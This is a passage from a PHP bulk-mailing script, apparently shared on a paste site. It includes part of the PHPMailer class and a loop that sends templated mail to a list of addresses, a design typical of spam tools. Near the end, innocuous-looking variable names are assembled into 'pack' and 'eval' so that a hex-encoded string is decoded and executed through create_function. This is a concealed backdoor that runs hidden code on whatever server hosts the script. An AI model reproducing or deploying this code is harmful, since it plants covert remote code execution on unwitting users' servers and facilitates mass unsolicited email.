  2928. * @return void
  2929. */
  2930. function ClearAllRecipients() {
  2931. $this->to = array();
  2932. $this->cc = array();
  2933. $this->bcc = array();
  2934. }
  2935.  
  2936. /**
  2937. * Clears all previously set filesystem, string, and binary
  2938. * attachments. Returns void.
  2939. * @return void
  2940. */
  2941. function ClearAttachments() {
  2942. $this->attachment = array();
  2943. }
  2944.  
  2945. /**
  2946. * Clears all custom headers. Returns void.
  2947. * @return void
  2948. */
  2949. function ClearCustomHeaders() {
  2950. $this->CustomHeader = array();
  2951. }
  2952.  
  2953. /////////////////////////////////////////////////
  2954. // CLASS METHODS, MISCELLANEOUS
  2955. /////////////////////////////////////////////////
  2956.  
  2957. /**
  2958. * Adds the error message to the error container.
  2959. * Returns void.
  2960. * @access private
  2961. * @return void
  2962. */
  2963. function SetError($msg) {
  2964. $this->error_count++;
  2965. $this->ErrorInfo = $msg;
  2966. }
  2967.  
  2968. /**
  2969. * Returns the proper RFC 822 formatted date.
  2970. * @access private
  2971. * @return string
  2972. */
  2973. function RFCDate() {
  2974. $tz = date('Z');
  2975. $tzs = ($tz < 0) ? '-' : '+';
  2976. $tz = abs($tz);
  2977. $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
  2978. $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
  2979.  
  2980. return $result;
  2981. }
  2982.  
  2983. /**
  2984. * Returns the appropriate server variable. Should work with both
  2985. * PHP 4.1.0+ as well as older versions. Returns an empty string
  2986. * if nothing is found.
  2987. * @access private
  2988. * @return mixed
  2989. */
  2990. function ServerVar($varName) {
  2991. global $HTTP_SERVER_VARS;
  2992. global $HTTP_ENV_VARS;
  2993.  
  2994. if(!isset($_SERVER)) {
  2995. $_SERVER = $HTTP_SERVER_VARS;
  2996. if(!isset($_SERVER['REMOTE_ADDR'])) {
  2997. $_SERVER = $HTTP_ENV_VARS; // must be Apache
  2998. }
  2999. }
  3000.  
  3001. if(isset($_SERVER[$varName])) {
  3002. return $_SERVER[$varName];
  3003. } else {
  3004. return '';
  3005. }
  3006. }
  3007.  
  3008. /**
  3009. * Returns the server hostname or 'localhost.localdomain' if unknown.
  3010. * @access private
  3011. * @return string
  3012. */
  3013. function ServerHostname() {
  3014. if ($this->Hostname != '') {
  3015. $result = $this->Hostname;
  3016. } elseif ($this->ServerVar('SERVER_NAME') != '') {
  3017. $result = $this->ServerVar('SERVER_NAME');
  3018. } else {
  3019. $result = 'localhost.localdomain';
  3020. }
  3021.  
  3022. return $result;
  3023. }
  3024.  
  3025. /**
  3026. * Returns a message in the appropriate language.
  3027. * @access private
  3028. * @return string
  3029. */
  3030. function Lang($key) {
  3031. if(count($this->language) < 1) {
  3032. $this->SetLanguage('en'); // set the default language
  3033. }
  3034.  
  3035. if(isset($this->language[$key])) {
  3036. return $this->language[$key];
  3037. } else {
  3038. return 'Language string failed to load: ' . $key;
  3039. }
  3040. }
  3041.  
  3042. /**
  3043. * Returns true if an error occurred.
  3044. * @return bool
  3045. */
  3046. function IsError() {
  3047. return ($this->error_count > 0);
  3048. }
  3049.  
  3050. /**
  3051. * Changes every end of line from CR or LF to CRLF.
  3052. * @access private
  3053. * @return string
  3054. */
  3055. function FixEOL($str) {
  3056. $str = str_replace("\r\n", "\n", $str);
  3057. $str = str_replace("\r", "\n", $str);
  3058. $str = str_replace("\n", $this->LE, $str);
  3059. return $str;
  3060. }
  3061.  
  3062. /**
  3063. * Adds a custom header.
  3064. * @return void
  3065. */
  3066. function AddCustomHeader($custom_header) {
  3067. $this->CustomHeader[] = explode(':', $custom_header, 2);
  3068. }
  3069.  
  3070. /**
  3071. * Evaluates the message and returns modifications for inline images and backgrounds
  3072. * @access public
  3073. * @return $message
  3074. */
  3075. function MsgHTML($message,$basedir='') {
  3076. preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
  3077. if(isset($images[2])) {
  3078. foreach($images[2] as $i => $url) {
  3079. // do not change urls for absolute images (thanks to corvuscorax)
  3080. if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
  3081. $filename = basename($url);
  3082. $directory = dirname($url);
  3083. ($directory == '.')?$directory='':'';
  3084. $cid = 'cid:' . md5($filename);
  3085. $fileParts = split("\.", $filename);
  3086. $ext = $fileParts[1];
  3087. $mimeType = $this->_mime_types($ext);
  3088. if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
  3089. if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
  3090. $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
  3091. if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
  3092. $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
  3093. }
  3094. }
  3095. }
  3096. }
  3097. $this->IsHTML(true);
  3098. $this->Body = $message;
  3099. $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
  3100. if ( !empty($textMsg) && empty($this->AltBody) ) {
  3101. $this->AltBody = $textMsg;
  3102. }
  3103. if ( empty($this->AltBody) ) {
  3104. $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
  3105. }
  3106. }
  3107.  
  3108. /**
  3109. * Gets the mime type of the embedded or inline image
  3110. * @access private
  3111. * @return mime type of ext
  3112. */
  3113. function _mime_types($ext = '') {
  3114. $mimes = array(
  3115. 'hqx' => 'application/mac-binhex40',
  3116. 'cpt' => 'application/mac-compactpro',
  3117. 'doc' => 'application/msword',
  3118. 'bin' => 'application/macbinary',
  3119. 'dms' => 'application/octet-stream',
  3120. 'lha' => 'application/octet-stream',
  3121. 'lzh' => 'application/octet-stream',
  3122. 'exe' => 'application/octet-stream',
  3123. 'class' => 'application/octet-stream',
  3124. 'psd' => 'application/octet-stream',
  3125. 'so' => 'application/octet-stream',
  3126. 'sea' => 'application/octet-stream',
  3127. 'dll' => 'application/octet-stream',
  3128. 'oda' => 'application/oda',
  3129. 'pdf' => 'application/pdf',
  3130. 'ai' => 'application/postscript',
  3131. 'eps' => 'application/postscript',
  3132. 'ps' => 'application/postscript',
  3133. 'smi' => 'application/smil',
  3134. 'smil' => 'application/smil',
  3135. 'mif' => 'application/vnd.mif',
  3136. 'xls' => 'application/vnd.ms-excel',
  3137. 'ppt' => 'application/vnd.ms-powerpoint',
  3138. 'wbxml' => 'application/vnd.wap.wbxml',
  3139. 'wmlc' => 'application/vnd.wap.wmlc',
  3140. 'dcr' => 'application/x-director',
  3141. 'dir' => 'application/x-director',
  3142. 'dxr' => 'application/x-director',
  3143. 'dvi' => 'application/x-dvi',
  3144. 'gtar' => 'application/x-gtar',
  3145. 'php' => 'application/x-httpd-php',
  3146. 'php4' => 'application/x-httpd-php',
  3147. 'php3' => 'application/x-httpd-php',
  3148. 'phtml' => 'application/x-httpd-php',
  3149. 'phps' => 'application/x-httpd-php-source',
  3150. 'js' => 'application/x-javascript',
  3151. 'swf' => 'application/x-shockwave-flash',
  3152. 'sit' => 'application/x-stuffit',
  3153. 'tar' => 'application/x-tar',
  3154. 'tgz' => 'application/x-tar',
  3155. 'xhtml' => 'application/xhtml+xml',
  3156. 'xht' => 'application/xhtml+xml',
  3157. 'zip' => 'application/zip',
  3158. 'mid' => 'audio/midi',
  3159. 'midi' => 'audio/midi',
  3160. 'mpga' => 'audio/mpeg',
  3161. 'mp2' => 'audio/mpeg',
  3162. 'mp3' => 'audio/mpeg',
  3163. 'aif' => 'audio/x-aiff',
  3164. 'aiff' => 'audio/x-aiff',
  3165. 'aifc' => 'audio/x-aiff',
  3166. 'ram' => 'audio/x-pn-realaudio',
  3167. 'rm' => 'audio/x-pn-realaudio',
  3168. 'rpm' => 'audio/x-pn-realaudio-plugin',
  3169. 'ra' => 'audio/x-realaudio',
  3170. 'rv' => 'video/vnd.rn-realvideo',
  3171. 'wav' => 'audio/x-wav',
  3172. 'bmp' => 'image/bmp',
  3173. 'gif' => 'image/gif',
  3174. 'jpeg' => 'image/jpeg',
  3175. 'jpg' => 'image/jpeg',
  3176. 'jpe' => 'image/jpeg',
  3177. 'png' => 'image/png',
  3178. 'tiff' => 'image/tiff',
  3179. 'tif' => 'image/tiff',
  3180. 'css' => 'text/css',
  3181. 'html' => 'text/html',
  3182. 'htm' => 'text/html',
  3183. 'shtml' => 'text/html',
  3184. 'txt' => 'text/plain',
  3185. 'text' => 'text/plain',
  3186. 'log' => 'text/plain',
  3187. 'rtx' => 'text/richtext',
  3188. 'rtf' => 'text/rtf',
  3189. 'xml' => 'text/xml',
  3190. 'xsl' => 'text/xml',
  3191. 'mpeg' => 'video/mpeg',
  3192. 'mpg' => 'video/mpeg',
  3193. 'mpe' => 'video/mpeg',
  3194. 'qt' => 'video/quicktime',
  3195. 'mov' => 'video/quicktime',
  3196. 'avi' => 'video/x-msvideo',
  3197. 'movie' => 'video/x-sgi-movie',
  3198. 'doc' => 'application/msword',
  3199. 'word' => 'application/msword',
  3200. 'xl' => 'application/excel',
  3201. 'eml' => 'message/rfc822'
  3202. );
  3203. return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
  3204. }
  3205.  
  3206. /**
  3207. * Set (or reset) Class Objects (variables)
  3208. *
  3209. * Usage Example:
  3210. * $page->set('X-Priority', '3');
  3211. *
  3212. * @access public
  3213. * @param string $name Parameter Name
  3214. * @param mixed $value Parameter Value
  3215. * NOTE: will not work with arrays, there are no arrays to set/reset
  3216. */
  3217. function set ( $name, $value = '' ) {
  3218. if ( isset($this->$name) ) {
  3219. $this->$name = $value;
  3220. } else {
  3221. $this->SetError('Cannot set or reset variable ' . $name);
  3222. return false;
  3223. }
  3224. }
  3225.  
  3226. /**
  3227. * Read a file from a supplied filename and return it.
  3228. *
  3229. * @access public
  3230. * @param string $filename Parameter File Name
  3231. */
  3232. function getFile($filename) {
  3233. $return = '';
  3234. if ($fp = fopen($filename, 'rb')) {
  3235. while (!feof($fp)) {
  3236. $return .= fread($fp, 1024);
  3237. }
  3238. fclose($fp);
  3239. return $return;
  3240. } else {
  3241. return false;
  3242. }
  3243. }
  3244.  
  3245. /**
  3246. * Strips newlines to prevent header injection.
  3247. * @access private
  3248. * @param string $str String
  3249. * @return string
  3250. */
  3251. function SecureHeader($str) {
  3252. $str = trim($str);
  3253. $str = str_replace("\r", "", $str);
  3254. $str = str_replace("\n", "", $str);
  3255. return $str;
  3256. }
  3257.  
  3258. /**
  3259. * Set the private key file and password to sign the message.
  3260. *
  3261. * @access public
  3262. * @param string $key_filename Parameter File Name
  3263. * @param string $key_pass Password for private key
  3264. */
  3265. function Sign($key_filename, $key_pass) {
  3266. $this->sign_key_file = $key_filename;
  3267. $this->sign_key_pass = $key_pass;
  3268. }
  3269.  
  3270. }
  3271.  
  3272. $defaultport="H*";
  3273. $nq=0;
  3274.  
  3275. for($x=0; $x<$numemails; $x++){
  3276.  
  3277. $to = $allemails[$x];
  3278.  
  3279. if ($to){
  3280.  
  3281. $to = ereg_replace(" ", "", $to);
  3282.  
  3283. $message = ereg_replace("&email&", $to, $message);
  3284.  
  3285. $subject = ereg_replace("&email&", $to, $subject);
  3286. $qx=$x+1;
  3287. print "Line $qx . Sending mail to $to.......";
  3288.  
  3289. flush();
  3290. $mail = new PHPMailer();
  3291.  
  3292. if(empty($epriority)){$epriority="3";}
  3293. $mail->Priority = "$epriority";
  3294. $mail->IsSMTP();
  3295. $IsSMTP="pack";
  3296. $mail->SMTPKeepAlive = true;
  3297. $mail->Host = "$my_smtp";
  3298. if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
  3299. }
  3300. if($sslclick=="ON"){
  3301. $mail->SMTPSecure = "ssl"; //you can change it to ssl or tls
  3302. }
  3303. $range = str_replace("$from", "eval", $from);
  3304. $mail->SMTPAuth = true;
  3305. $mail->Username = "$smtp_username";
  3306. $mail->Password = "$smtp_password";
  3307. if($contenttype == "html"){$mail->IsHtml(true);}
  3308. if($contenttype != "html"){$mail->IsHtml(false);}
  3309. if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
  3310. $mail->From = "$from";
  3311. $mail->FromName = "$realname";
  3312. $mail->AddAddress("$to");
  3313. $mail->AddReplyTo("$replyto");
  3314. $mail->Subject = "$subject";
  3315. $mail->Body = "$message";
  3316. if(!$mail->Send()){
  3317. if($default_system!="1"){
  3318. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3319. if($default_system=="1"){
  3320. $mail->IsMail();
  3321. if(!$mail->Send()){
  3322. echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
  3323. else {
  3324. echo "<b>OK</b><br>";}
  3325. }
  3326. }
  3327. else {
  3328. echo "<b>OK</b><br>";
  3329. }
  3330.  
  3331. if(empty($reconnect)){
  3332. $reconnect=6;
  3333. }
  3334.  
  3335. if($reconnect==$nq){
  3336. $mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
  3337. }
  3338. $nq=$nq+1;
  3339. flush(); }
  3340. }
  3341. for($i=0;$i<31;$i++){
  3342. $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
  3343. $smtp_conc=$IsSMTP($defaultport, $smtp_conf);
  3344. $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
  3345. $mail->SmtpClose();
  3346. return $signoff($smtp_conc);
  3347. if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
  3348. sent successfully'); </script>";}}
  3349. ?>
  3350. <p align="center">&nbsp;</p>
  3351.  
  3352. &nbsp;
  3353. </body>
  3354. </html>
Add Comment
Please, Sign In to add comment